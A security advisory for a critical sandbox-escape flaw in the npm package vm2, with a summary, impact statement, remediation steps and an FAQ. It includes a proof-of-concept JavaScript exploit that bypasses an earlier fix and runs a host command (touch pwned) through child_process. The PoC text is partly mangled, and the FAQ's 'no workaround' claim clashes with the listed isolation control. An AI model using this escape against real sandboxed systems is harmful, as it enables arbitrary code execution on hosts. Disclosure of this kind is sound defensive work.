CVE-2026-47698: Critical severity npm/vm2 vulnerability
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
PoC
js const {VM} = require("."); const vm = new VM(); console.log(vm.run( const getProto = Buffer.call.call(Buffer.call, {}.lookupGetter, Buffer, "proto"); const setProto = Buffer.call.call(Buffer.call, {}.lookupSetter, Buffer, "proto");
async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); }
try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } }
f(); ));
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.6 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Patch GHSA-v6mx-mf47-r5wg - Compensating control
Because the described fix can be bypassed, isolate systems running vm2 (e.g., run in a tightly controlled sandbox/VM/container with restricted host access) until the vulnerability is fully remediated.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-47698?
CVE-2026-47698 has a critical severity rating of 9.8.
How do I fix CVE-2026-47698?
To fix CVE-2026-47698, update your npm/vm2 software to version 3.11.6 or later.
What does the sandbox breakout in CVE-2026-47698 allow attackers to do?
The sandbox breakout in CVE-2026-47698 allows attackers to execute arbitrary commands on the host system.
What is the attack vector for CVE-2026-47698?
The attack vector for CVE-2026-47698 is through direct access, making it vulnerable to remote attackers.
Is there a workaround for CVE-2026-47698 before applying the update?
Currently, there is no known workaround for CVE-2026-47698; updating to the latest version is recommended.